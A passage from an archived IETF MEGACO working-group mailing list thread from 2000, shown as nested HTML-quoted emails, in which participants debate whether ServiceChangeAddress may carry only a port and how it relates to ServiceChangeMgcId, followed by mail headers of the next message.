  &gt; port.These two</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; semantics
  seem clear and fair enough.</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;</FONT>
  <BR><FONT size=2>&gt; &gt; &gt; &gt; I quite frankly don't understand the need
  for having port as</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; an identifier
  and</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; then being able to specify
  another port to override it, while</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
  keeping the</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; identifier port the
  same.</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt;
  &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;</FONT>
  <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt;
  &gt; &gt; &gt; Port in MID should be just a tool to identify an entity</FONT>
  <BR><FONT size=2>&gt; &gt; &gt; &gt; uniquely, with one</FONT> <BR><FONT
  size=2>&gt; &gt; &gt; &gt; &gt; requirement that MID for a control session is
  consistent</FONT> <BR><FONT size=2>&gt; &gt; &gt; between two</FONT> <BR><FONT
  size=2>&gt; &gt; &gt; &gt; &gt; entities.</FONT> <BR><FONT size=2>&gt; &gt;
  &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; In that case it should
  be called something different than a</FONT> <BR><FONT size=2>&gt; &gt; &gt;
  &gt; port, or at least be</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; treated
  as something different.</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;</FONT>
  <BR><FONT size=2>&gt; &gt; &gt; &gt; -- Flemming</FONT> <BR><FONT size=2>&gt;
  &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;</FONT> <BR><FONT
  size=2>&gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
  &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; - Bharat</FONT>
  <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt;
  &gt; &gt; &gt; -----Original Message-----</FONT> <BR><FONT size=2>&gt; &gt;
  &gt; &gt; &gt; From: Flemming Andreasen [<A
  href="mailto:fandreas@CISCO.COM">mailto:fandreas@CISCO.COM</A>]</FONT>
  <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; Sent: Tuesday, September 05, 2000
  8:29 AM</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; To:
  MEGACO@STANDARDS.NORTELNETWORKS.COM</FONT> <BR><FONT size=2>&gt; &gt; &gt;
  &gt; &gt; Subject: Re: Supplying only a port on a ServiceChangeAddress</FONT>
  <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt;
  &gt; &gt; &gt; Let's take a step back here and ask ourselves what we
  are</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; trying to achieve:</FONT>
  <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt;
  &gt; &gt; &gt; 1. We have a need to identify the entity we wish to</FONT>
  <BR><FONT size=2>&gt; &gt; &gt; communicate with</FONT> <BR><FONT size=2>&gt;
  &gt; &gt; &gt; &gt; 2. We have a need to communicate with that entity.</FONT>
  <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt;
  &gt; &gt; &gt; This is a classical naming issue that doesn't need to</FONT>
  <BR><FONT size=2>&gt; &gt; &gt; become overly</FONT> <BR><FONT size=2>&gt;
  &gt; &gt; &gt; &gt; complicated. In order to get from the name in 1 to
  the</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; address (or route) in</FONT>
  <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; 2, you need to perform name
  resolution in the cases where</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; the
  name itself is</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; not an
  address. For domain names, this name resolution is</FONT> <BR><FONT
  size=2>&gt; &gt; &gt; &gt; achieved by DNS,</FONT> <BR><FONT size=2>&gt; &gt;
  &gt; &gt; &gt; for IP-addresses, it should normally be a NOP. By having
  both</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; ServiceChangeMGGId and
  ServiceChangeAddress, you are</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
  effectively providing</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; an
  alternate name resolution mechanism which overrides DNS</FONT> <BR><FONT
  size=2>&gt; &gt; &gt; &gt; and allows one</FONT> <BR><FONT size=2>&gt; &gt;
  &gt; &gt; &gt; IP-address to map to another. We should not be doing
  that,</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; and I also note</FONT>
  <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; that this was probably not the
  authors' intent, since</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
  ServiceChangeAddress</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; and
  ServiceChangeMGCId are not both allowed in a </FONT><BR><FONT size=2>&gt;
  single command.</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;</FONT>
  <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; That still leaves open the question
  of exactly what</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
  ServiceChangeAddress</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; then is,
  and I believe Brian answered that earlier with his</FONT> <BR><FONT
  size=2>&gt; &gt; &gt; &gt; two proposals.</FONT> <BR><FONT size=2>&gt; &gt;
  &gt; &gt; &gt; In a perfect world, I would prefer getting rid of</FONT>
  <BR><FONT size=2>&gt; &gt; &gt; &gt; ServiceChangeAddress, but</FONT>
  <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; we may be beyond that. Does it make
  sense to allow just a</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; port number
  then ?</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; Considering that we
  already allow for port in mId, port is</FONT> <BR><FONT size=2>&gt; &gt; &gt;
  &gt; part of the name</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; and for
  the same reasons as we shouldn't map one IP-address</FONT> <BR><FONT
  size=2>&gt; &gt; &gt; &gt; to another, we</FONT> <BR><FONT size=2>&gt; &gt;
  &gt; &gt; &gt; shouldn't map one port to another either IMO. If the MGC</FONT>
  <BR><FONT size=2>&gt; &gt; &gt; &gt; (or MG) wants the</FONT> <BR><FONT
  size=2>&gt; &gt; &gt; &gt; &gt; other party to talk to it on another port, it
  simply sends</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; back another</FONT>
  <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; ServiceChangeMGCId with that port
  number in it.</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;</FONT>
  <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; -- Flemming</FONT> <BR><FONT
  size=2>&gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
  &gt; "Rosen, Brian" wrote:</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
  &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; It depends on what
  you want to have happen.</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
  &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; If you want the MG,
  on receipt of a reply with a</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
  ServiceChangeAddress,</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; to
  tear down it's current transport connection, create</FONT> <BR><FONT
  size=2>&gt; &gt; &gt; a new one,</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
  &gt; &gt; and stand by for messages from the MGC, then I suppose</FONT>
  <BR><FONT size=2>&gt; &gt; &gt; &gt; you would be</FONT> <BR><FONT size=2>&gt;
  &gt; &gt; &gt; &gt; &gt; correct.</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
  &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; If it was TCP
  (and I guess SCTP), this is pretty weird,</FONT> <BR><FONT size=2>&gt; &gt;
  &gt; &gt; because the</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; MG
  established a full duplex connection, but the </FONT><BR><FONT size=2>&gt;
  next message is</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; almost
  certainly from the MGC.&nbsp; The MGC is going to have</FONT> <BR><FONT
  size=2>&gt; &gt; &gt; &gt; to watch for</FONT> <BR><FONT size=2>&gt; &gt; &gt;
  &gt; &gt; &gt; this carefully, and not send messages until the new</FONT>
  <BR><FONT size=2>&gt; &gt; &gt; channel is up.</FONT> <BR><FONT size=2>&gt;
  &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;
  Or, the MGC can just use ServiceChangeMid.&nbsp; The MG will</FONT> <BR><FONT
  size=2>&gt; &gt; &gt; respond by</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
  &gt; &gt; tearing down the transport, establishing a new one, </FONT><BR><FONT
  size=2>&gt; and sending</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;
  a new ServiceChange.&nbsp; The MGC "fires and forgets" -- the new</FONT>
  <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; ServiceChange, at the "new"
  address, looks like a</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; complete new
  start.</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT
  size=2>&gt; &gt; &gt; &gt; &gt; &gt; Brian</FONT> <BR><FONT size=2>&gt; &gt;
  &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;
  -----Original Message-----</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
  &gt; From: Christian Groves</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
  &gt; To: MEGACO@STANDARDS.NORTELNETWORKS.COM</FONT> <BR><FONT size=2>&gt; &gt;
  &gt; &gt; &gt; &gt; Sent: 9/3/00 7:38 PM</FONT> <BR><FONT size=2>&gt; &gt;
  &gt; &gt; &gt; &gt; Subject: Re: Supplying only a port on a
  ServiceChangeAddress</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
  &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; G'Day Brian and
  Flemming,</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;</FONT>
  <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; I saw that the difference
  between when you use</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
  ServiceChangeAddress and</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;
  ServiceChangeMid was that the ServiceChangeAddress was</FONT> <BR><FONT
  size=2>&gt; &gt; &gt; &gt; used when talking</FONT> <BR><FONT size=2>&gt; &gt;
  &gt; &gt; &gt; &gt; to an already contacted physical MGC. The</FONT> <BR><FONT
  size=2>&gt; &gt; &gt; &gt; ServiceChangeMid was used to</FONT> <BR><FONT
  size=2>&gt; &gt; &gt; &gt; &gt; &gt; contact a physically seperate MGC. So I
  don't see </FONT><BR><FONT size=2>&gt; the need of</FONT> <BR><FONT
  size=2>&gt; &gt; &gt; &gt; &gt; &gt; disallowing anything but the port in IP
  as the MGC may</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; have a range
  of</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; addresses.</FONT>
  <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt;
  &gt; &gt; &gt; &gt; &gt; Cheers, Christian</FONT> <BR><FONT size=2>&gt; &gt;
  &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;
  "Rosen, Brian" wrote:</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;
  &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; I thought you
  might say that, I've been thinking about it</FONT> <BR><FONT size=2>&gt; &gt;
  &gt; &gt; &gt; &gt; &gt; since I sent the message.</FONT> <BR><FONT
  size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt;
  &gt; &gt; &gt; &gt; &gt; Posing the question slightly differently, if
  the</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; ServiceChangeAddress</FONT>
  <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; can do what
  ServiceChangeMid can do, so why have two</FONT> <BR><FONT size=2>&gt; &gt;
  &gt; mechanisms?</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt;
  The only difference would be the MGs actions.&nbsp; If you used</FONT>
  <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt;
  ServiceChangeAddress,</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;
  &gt; the MG would not send a new ServiceChange command to</FONT> <BR><FONT
  size=2>&gt; &gt; &gt; &gt; the new address.</FONT> <BR><FONT size=2>&gt; &gt;
  &gt; &gt; &gt; &gt; &gt; If you used ServiceChangeMid, it would.&nbsp; The end
  result</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; would be the</FONT>
  <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; same.</FONT> <BR><FONT
  size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt;
  &gt; &gt; &gt; &gt; &gt; We can:</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
  &gt; &gt; &gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Explicitly
  disallow ServiceChangeAddress from</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
  being used to</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;
  &gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  change anything but IP Port when </FONT><BR><FONT size=2>&gt; used with
  IP</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;
  &gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Get rid of one of the two
  of them</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt;</FONT>
  <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; I favor the former, as
  that is easiest, is most</FONT> <BR><FONT size=2>&gt; &gt; &gt; consistent
  with</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; history, and
  makes the most sense to me.&nbsp; I'll </FONT><BR><FONT size=2>&gt; note that
  what</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; we call
  ServiceChangeAddress used to be "port".&nbsp; It got</FONT> <BR><FONT
  size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; changed when we realized "port"
  wouldn't make </FONT><BR><FONT size=2>&gt; sense if it was</FONT> <BR><FONT
  size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; not an IP transport.</FONT>
  <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT
  size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; Brian</FONT> <BR><FONT size=2>&gt;
  &gt; &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
  &gt; &gt; &gt; -----Original Message-----</FONT> <BR><FONT size=2>&gt; &gt;
  &gt; &gt; &gt; &gt; &gt; &gt; From: Flemming Andreasen [<A
  href="mailto:fandreas@cisco.com">mailto:fandreas@cisco.com</A>]</FONT>
  <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; Sent: Tuesday, August
  29, 2000 7:37 PM</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt;
  &gt; To: Rosen, Brian</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;
  &gt; &gt; Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM</FONT> <BR><FONT size=2>&gt;
  &gt; &gt; &gt; &gt; &gt; &gt; &gt; Subject: Re: Supplying only a port on a
  </FONT><BR><FONT size=2>&gt; ServiceChangeAddress</FONT> <BR><FONT size=2>&gt;
  &gt; &gt; &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
  &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt;
  &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;</FONT>
  <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; "Rosen, Brian"
  wrote:</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;</FONT>
  <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; I think the
  issue is that you can have the same MGC</FONT> <BR><FONT size=2>&gt; &gt; &gt;
  &gt; have multiple</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt;
  &gt; &gt; IP addresses.&nbsp; You accept the association, but</FONT> <BR><FONT
  size=2>&gt; &gt; &gt; &gt; change the address.</FONT> <BR><FONT size=2>&gt;
  &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; Say, a pool of servers appearing to be
  one MGC.</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt;
  &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; I'm not
  sure I fully understand what an </FONT><BR><FONT size=2>&gt; association is
  then.</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; What's
  the</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;
  difference/relationship between the association</FONT> <BR><FONT size=2>&gt;
  &gt; &gt; &gt; address and the</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
  &gt; &gt; &gt; &gt; ServiceChangeMgcId (which may itself contain an
  </FONT><BR><FONT size=2>&gt; address or</FONT> <BR><FONT size=2>&gt; &gt; &gt;
  &gt; &gt; &gt; indirectly</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
  &gt; &gt; &gt; refer to a number of addresses through DNS) ?</FONT> <BR><FONT
  size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt;
  &gt; &gt; &gt; &gt; &gt; &gt; &gt; -- Flemming</FONT> <BR><FONT size=2>&gt;
  &gt; &gt; &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
  &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt;
  &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;
  &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;
  Brian</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;
  &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;
  -----Original Message-----</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
  &gt; &gt; &gt; &gt; &gt; From: Flemming Andreasen [<A
  href="mailto:fandreas@cisco.com">mailto:fandreas@cisco.com</A>]</FONT>
  <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; Sent:
  Tuesday, August 29, 2000 6:38 PM</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
  &gt; &gt; &gt; &gt; &gt; &gt; To: Rosen, Brian</FONT> <BR><FONT size=2>&gt;
  &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; Cc:
  MEGACO@STANDARDS.NORTELNETWORKS.COM</FONT> <BR><FONT size=2>&gt; &gt; &gt;
  &gt; &gt; &gt; &gt; &gt; &gt; &gt; Subject: Re: Supplying only a port on
  a</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; ServiceChangeAddress</FONT>
  <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;</FONT>
  <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;</FONT>
  <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;</FONT>
  <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;</FONT>
  <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; "Rosen,
  Brian" wrote:</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;
  &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;
  &gt; &gt; Suppose all you want to specify in a</FONT> <BR><FONT size=2>&gt;
  &gt; &gt; &gt; ServiceChangeAddress</FONT> <BR><FONT size=2>&gt; &gt; &gt;
  &gt; &gt; &gt; &gt; &gt; &gt; &gt; is a port number</FONT> <BR><FONT
  size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; that is, the IP
  address doesn't change, but the</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
  port does.</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;
  &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;
  &gt; &gt; &gt; The ABNF sez:</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt;
  &gt; &gt; &gt; &gt; &gt; &gt; serviceChangeAddress =</FONT> <BR><FONT
  size=2>&gt; &gt; &gt; &gt; ServiceChangeAddressToken EQUAL VALUE</FONT>
  <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;</FONT>
  <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; This
  is because it could be IP, ATM, FR, MPLS....</FONT> <BR><FONT size=2>&gt; &gt;
  &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt;
  &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; The example shows just a port
  number.</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;
  &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;
  Actually, I thought that's all that would be</FONT> <BR><FONT size=2>&gt; &gt;
  &gt; &gt; allowed in the</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;
  &gt; &gt; &gt; &gt; case of IP. If</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
  &gt; &gt; &gt; &gt; &gt; &gt; not, how can it be within the "context of
  the</FONT> <BR><FONT size=2>&gt; &gt; &gt; association</FONT> <BR><FONT
  size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; currently
  being</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;
  &gt; negotiated", and how would it then relate to</FONT> <BR><FONT size=2>&gt;
  &gt; &gt; &gt; ServiceChangeMgcId</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
  &gt; &gt; ?</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;
  &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;
  &gt; -- Flemming</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt;
  &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;
  &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;
  &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;
  &gt; &gt; &gt; Should that be legal?&nbsp; Should you have to</FONT> <BR><FONT
  size=2>&gt; &gt; &gt; specify the IP</FONT> <BR><FONT size=2>&gt; &gt; &gt;
  &gt; &gt; &gt; address</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt;
  &gt; &gt; &gt; &gt; &gt; as x.x.x.x:p?</FONT> <BR><FONT size=2>&gt; &gt; &gt;
  &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt;
  &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; Brian</FONT> <BR><FONT size=2>&gt;
  &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt;
  &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; --</FONT> <BR><FONT size=2>&gt; &gt;
  &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; Flemming Andreasen</FONT> <BR><FONT
  size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; Cisco Systems</FONT>
  <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;</FONT>
  <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;</FONT>
  <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT
  size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; --</FONT> <BR><FONT size=2>&gt;
  &gt; &gt; &gt; &gt; &gt; &gt; &gt; Flemming Andreasen</FONT> <BR><FONT
  size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt; Cisco Systems</FONT> <BR><FONT
  size=2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt;
  &gt; &gt; &gt; &gt; &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt;
  &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; &gt; --</FONT> <BR><FONT
  size=2>&gt; &gt; &gt; &gt; &gt; Flemming Andreasen</FONT> <BR><FONT
  size=2>&gt; &gt; &gt; &gt; &gt; Cisco Systems</FONT> <BR><FONT size=2>&gt;
  &gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt; &gt; --</FONT> <BR><FONT
  size=2>&gt; &gt; &gt; &gt; Flemming Andreasen</FONT> <BR><FONT size=2>&gt;
  &gt; &gt; &gt; Cisco Systems</FONT> <BR><FONT size=2>&gt; &gt; &gt;
  &gt;</FONT> <BR><FONT size=2>&gt; &gt; &gt;</FONT> <BR><FONT size=2>&gt;
  </FONT><BR><FONT size=2>&gt; --</FONT> <BR><FONT size=2>&gt; Flemming
  Andreasen</FONT> <BR><FONT size=2>&gt; Cisco Systems</FONT> <BR><FONT
  size=2>&gt; </FONT><BR><FONT size=2>&gt; </FONT><BR><FONT size=2>&gt;
  </FONT></P></BLOCKQUOTE></BODY></HTML>

------_=_NextPart_001_01C0182D.E696EEA0--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Sep  6 15:28:36 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA21285
	for <megaco-archive@LISTS.IETF.ORG>; Wed, 6 Sep 2000 15:28:35 -0400 (EDT)
Received: from standards (47.234.32.16:1925) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB90D74@standards.nortelnetworks.com>; Wed, 6 Sep 2000 14:03:29 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 20758 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 6 Sep 2000 14:03:29 -0400
Received: from mailgate.pit.comms.marconi.com by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1b) with SMTP id
          <0.FFB90D73@standards.nortelnetworks.com>; Wed, 6 Sep 2000 14:03:28
          -0400
